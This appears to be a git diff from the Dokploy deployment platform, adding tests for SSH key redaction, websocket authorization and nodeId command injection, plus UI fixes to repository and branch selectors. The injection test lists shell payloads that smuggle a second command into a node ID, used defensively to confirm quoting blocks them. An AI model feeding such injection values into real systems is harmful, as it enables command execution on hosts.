apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
44
apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
import { redactServerSshKey } from "@dokploy/server/services/server";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
|
||||||
|
it("blanks the private key while keeping the rest of the ssh key intact", () => {
|
||||||
|
const server = {
|
||||||
|
serverId: "srv-1",
|
||||||
|
name: "prod",
|
||||||
|
sshKey: {
|
||||||
|
sshKeyId: "key-1",
|
||||||
|
publicKey: "ssh-ed25519 AAAA...",
|
||||||
|
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
const redacted = redactServerSshKey(server);
|
||||||
|
|
||||||
|
expect(redacted.sshKey.privateKey).toBe("");
|
||||||
|
// Non-secret fields and the surrounding record must survive untouched.
|
||||||
|
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
|
||||||
|
expect(redacted.serverId).toBe("srv-1");
|
||||||
|
expect(redacted.name).toBe("prod");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not mutate the original record", () => {
|
||||||
|
const server = {
|
||||||
|
serverId: "srv-1",
|
||||||
|
sshKey: { privateKey: "top-secret" },
|
||||||
|
};
|
||||||
|
redactServerSshKey(server);
|
||||||
|
expect(server.sshKey.privateKey).toBe("top-secret");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("is a no-op when the server has no ssh key", () => {
|
||||||
|
const server = { serverId: "srv-2", sshKey: null };
|
||||||
|
expect(redactServerSshKey(server)).toEqual(server);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("handles a record without a loaded sshKey relation", () => {
|
||||||
|
// e.g. server.update returns the plain row where sshKey is not populated.
|
||||||
|
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
|
||||||
|
expect(redactServerSshKey(server)).toEqual(server);
|
||||||
|
});
|
||||||
|
});
|
||||||
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
// Mirrors how getNodeInfo builds its command in services/docker.ts:
|
||||||
|
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
|
||||||
|
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
|
||||||
|
// whether the nodeId payload can break out of the command, not real docker.
|
||||||
|
const buildCommand = (nodeId: string) =>
|
||||||
|
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
|
||||||
|
|
||||||
|
const INJECTION_NODE_IDS = [
|
||||||
|
"$(touch %MARK%)",
|
||||||
|
"`touch %MARK%`",
|
||||||
|
"; touch %MARK%",
|
||||||
|
"abc | touch %MARK%",
|
||||||
|
"&& touch %MARK%",
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("getNodeInfo nodeId command injection", () => {
|
||||||
|
it("does not execute injected commands from the nodeId", () => {
|
||||||
|
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
|
||||||
|
for (const template of INJECTION_NODE_IDS) {
|
||||||
|
if (existsSync(mark)) rmSync(mark);
|
||||||
|
const nodeId = template.replace("%MARK%", mark);
|
||||||
|
try {
|
||||||
|
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {
|
||||||
|
// A non-zero exit from the no-op is fine; we only care about the marker.
|
||||||
|
}
|
||||||
|
expect(existsSync(mark)).toBe(false);
|
||||||
|
}
|
||||||
|
if (existsSync(mark)) rmSync(mark);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate node id intact as a single literal token", () => {
|
||||||
|
const nodeId = "abc123def456";
|
||||||
|
expect(quote([nodeId])).toBe(nodeId);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
|
|||||||
rollbackActive: false,
|
rollbackActive: false,
|
||||||
applicationId: "",
|
applicationId: "",
|
||||||
previewLabels: [],
|
previewLabels: [],
|
||||||
|
networkIds: [],
|
||||||
|
detachDokployNetwork: false,
|
||||||
createEnvFile: true,
|
createEnvFile: true,
|
||||||
bitbucketRepositorySlug: "",
|
bitbucketRepositorySlug: "",
|
||||||
herokuVersion: "",
|
herokuVersion: "",
|
||||||
|
|||||||
104
apps/dokploy/__test__/wss/authorize.test.ts
Normal file
104
apps/dokploy/__test__/wss/authorize.test.ts
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
// Mock the permission + server helpers the wss authorizer composes.
|
||||||
|
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||||
|
const mockFindMember = vi.hoisted(() => vi.fn());
|
||||||
|
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
|
||||||
|
vi.mock("@dokploy/server/services/permission", () => ({
|
||||||
|
hasPermission: mockHasPermission,
|
||||||
|
findMemberByUserId: mockFindMember,
|
||||||
|
checkServiceAccess: mockCheckServiceAccess,
|
||||||
|
}));
|
||||||
|
|
||||||
|
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
|
||||||
|
vi.mock("@dokploy/server", () => ({
|
||||||
|
getAccessibleServerIds: mockGetAccessibleServerIds,
|
||||||
|
}));
|
||||||
|
|
||||||
|
import {
|
||||||
|
canAccessDockerOverWss,
|
||||||
|
canAccessTerminalOverWss,
|
||||||
|
} from "@/server/wss/authorize";
|
||||||
|
|
||||||
|
const USER = { id: "user-1" };
|
||||||
|
const SESSION = { activeOrganizationId: "org-1" };
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("canAccessDockerOverWss", () => {
|
||||||
|
it("denies when there is no user or session", async () => {
|
||||||
|
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
|
||||||
|
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("denies a member without docker permission", async () => {
|
||||||
|
mockHasPermission.mockResolvedValue(false);
|
||||||
|
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows when the caller has docker permission (no server)", async () => {
|
||||||
|
mockHasPermission.mockResolvedValue(true);
|
||||||
|
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("denies a remote server the caller cannot access, even with docker permission", async () => {
|
||||||
|
mockHasPermission.mockResolvedValue(true);
|
||||||
|
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
|
||||||
|
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows a remote server the caller can access", async () => {
|
||||||
|
mockHasPermission.mockResolvedValue(true);
|
||||||
|
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||||
|
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("denies when the container belongs to a service the caller cannot access", async () => {
|
||||||
|
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
|
||||||
|
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows service access even without docker permission or server access", async () => {
|
||||||
|
// A member granted the service but without canAccessToDocker, whose
|
||||||
|
// service runs on a server they were not individually granted, must still
|
||||||
|
// read its logs — matches application.readLogs (service access only).
|
||||||
|
mockHasPermission.mockResolvedValue(false);
|
||||||
|
mockGetAccessibleServerIds.mockResolvedValue(new Set());
|
||||||
|
mockCheckServiceAccess.mockResolvedValue(undefined);
|
||||||
|
expect(
|
||||||
|
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
|
||||||
|
).toBe(true);
|
||||||
|
// Service path is authoritative — it must not fall through to docker/server.
|
||||||
|
expect(mockHasPermission).not.toHaveBeenCalled();
|
||||||
|
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("canAccessTerminalOverWss", () => {
|
||||||
|
it("denies the local host terminal to a plain member", async () => {
|
||||||
|
mockFindMember.mockResolvedValue({ role: "member" });
|
||||||
|
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows the local host terminal to an owner", async () => {
|
||||||
|
mockFindMember.mockResolvedValue({ role: "owner" });
|
||||||
|
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows the local host terminal to an admin", async () => {
|
||||||
|
mockFindMember.mockResolvedValue({ role: "admin" });
|
||||||
|
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("gates a remote server terminal on server access", async () => {
|
||||||
|
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||||
|
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||||
|
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
|
||||||
|
// role lookup must not be needed for the remote path
|
||||||
|
expect(mockFindMember).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</div>
|
</div>
|
||||||
<Dialog open={showModal} onOpenChange={setShowModal}>
|
<Dialog open={showModal} onOpenChange={setShowModal}>
|
||||||
<DialogContent className="max-w-[50vw]">
|
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
|
||||||
<DialogHeader>
|
<DialogHeader>
|
||||||
<DialogTitle className="text-2xl font-bold">
|
<DialogTitle className="text-2xl font-bold">
|
||||||
Template Information
|
Template Information
|
||||||
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
|||||||
</DialogDescription>
|
</DialogDescription>
|
||||||
</DialogHeader>
|
</DialogHeader>
|
||||||
|
|
||||||
<div className="flex flex-col gap-6">
|
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
|
||||||
<div className="space-y-4">
|
<div className="space-y-4">
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<Code2 className="h-5 w-5 text-primary" />
|
<Code2 className="h-5 w-5 text-primary" />
|
||||||
@@ -207,6 +207,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
|||||||
Docker Compose
|
Docker Compose
|
||||||
</h3>
|
</h3>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="max-h-[45vh] overflow-auto rounded-md border">
|
||||||
<CodeEditor
|
<CodeEditor
|
||||||
language="yaml"
|
language="yaml"
|
||||||
value={templateInfo?.compose || ""}
|
value={templateInfo?.compose || ""}
|
||||||
@@ -214,6 +215,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
|||||||
readOnly
|
readOnly
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<Separator />
|
<Separator />
|
||||||
|
|
||||||
|
|||||||
@@ -188,6 +188,9 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
<FormLabel>Bitbucket Account</FormLabel>
|
<FormLabel>Bitbucket Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -196,7 +199,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -245,7 +247,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -254,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
: isLoadingRepositories
|
: isLoadingRepositories
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo) => repo.name === field.value.repo,
|
(repo) =>
|
||||||
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner,
|
||||||
)?.name ?? "Select repository")}
|
)?.name ?? "Select repository")}
|
||||||
|
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -281,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
{repositories?.map((repo) => (
|
{repositories?.map((repo) => (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
value={repo.name}
|
value={`${repo.owner.username}/${repo.name}`}
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
@@ -292,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">{repo.name}</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -301,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -333,7 +341,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -348,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -376,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -201,6 +201,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
<FormLabel>Gitea Account</FormLabel>
|
<FormLabel>Gitea Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -208,7 +211,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -258,7 +260,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -268,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo: GiteaRepository) =>
|
(repo: GiteaRepository) =>
|
||||||
repo.name === field.value.repo,
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner,
|
||||||
)?.name ?? "Select repository")}
|
)?.name ?? "Select repository")}
|
||||||
|
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -301,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
{repositories?.map((repo: GiteaRepository) => {
|
{repositories?.map((repo: GiteaRepository) => {
|
||||||
return (
|
return (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
value={repo.name}
|
value={`${repo.owner.username}/${repo.name}`}
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
@@ -311,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">
|
||||||
|
{repo.name}
|
||||||
|
</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -320,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username ===
|
||||||
|
field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -353,7 +363,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -369,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -400,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -177,6 +177,9 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
<FormLabel>Github Account</FormLabel>
|
<FormLabel>Github Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -189,7 +192,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue placeholder="Select a Github Account" />
|
<SelectValue placeholder="Select a Github Account">
|
||||||
|
{
|
||||||
|
githubProviders?.find(
|
||||||
|
(githubProvider) =>
|
||||||
|
githubProvider.githubId === field.value,
|
||||||
|
)?.gitProvider.name
|
||||||
|
}
|
||||||
|
</SelectValue>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
@@ -233,7 +243,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -242,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
: isLoadingRepositories
|
: isLoadingRepositories
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo) => repo.name === field.value.repo,
|
(repo) =>
|
||||||
)?.name ?? "Select repository")}
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.login === field.value.owner,
|
||||||
|
)?.name ?? field.value.repo)}
|
||||||
|
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -269,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
{repositories?.map((repo) => (
|
{repositories?.map((repo) => (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
value={repo.name}
|
value={`${repo.owner.login}/${repo.name}`}
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
@@ -279,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">{repo.name}</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.login}
|
{repo.owner.login}
|
||||||
</span>
|
</span>
|
||||||
@@ -288,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.login === field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -320,22 +336,25 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
{status === "pending" && fetchStatus === "fetching"
|
{status === "pending" && fetchStatus === "fetching"
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: field.value
|
: field.value
|
||||||
? branches?.find(
|
? (branches?.find(
|
||||||
(branch) => branch.name === field.value,
|
(branch) => branch.name === field.value,
|
||||||
)?.name
|
)?.name ?? field.value)
|
||||||
: "Select branch"}
|
: "Select branch"}
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -363,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -196,6 +196,9 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
<FormLabel>Gitlab Account</FormLabel>
|
<FormLabel>Gitlab Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -205,7 +208,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
